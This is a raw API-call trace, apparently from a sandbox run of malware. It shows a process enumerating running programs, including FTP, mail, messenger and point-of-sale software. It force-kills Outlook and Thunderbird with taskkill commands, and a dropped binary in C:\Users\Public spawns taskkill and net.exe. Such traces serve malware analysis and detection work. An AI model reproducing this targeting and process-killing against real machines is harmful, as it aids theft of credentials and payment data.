	[0127.674] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0127.677] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0127.680] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0127.683] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0127.687] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0127.690] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0127.693] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0127.696] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0127.699] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0127.989] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0127.992] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0127.995] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0127.999] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0128.002] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0128.005] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0128.008] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0128.011] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0128.014] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0128.017] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0128.020] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0128.023] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0128.026] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0128.268] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0128.271] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0128.275] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0128.278] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0128.281] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0128.284] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0128.287] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0128.290] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0128.293] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0128.436] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0128.439] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0128.654] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0129.973] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0129.976] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0129.979] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0129.982] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0129.985] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0129.989] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0154.048] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0154.051] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0154.054] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0154.057] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0154.060] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0154.063] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0154.067] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0154.070] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0154.073] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0154.076] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0154.079] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0154.596] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0154.601] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0154.603] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0154.607] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0154.610] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0154.614] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0154.617] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0154.619] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0154.623] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0154.626] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0155.376] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0155.379] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0155.385] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0155.388] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0155.391] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0155.394] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0155.399] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0155.406] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0155.409] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0155.412] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0155.416] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.419] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0155.422] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.926] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0155.929] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.932] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0155.935] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0155.938] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0155.941] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0155.943] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
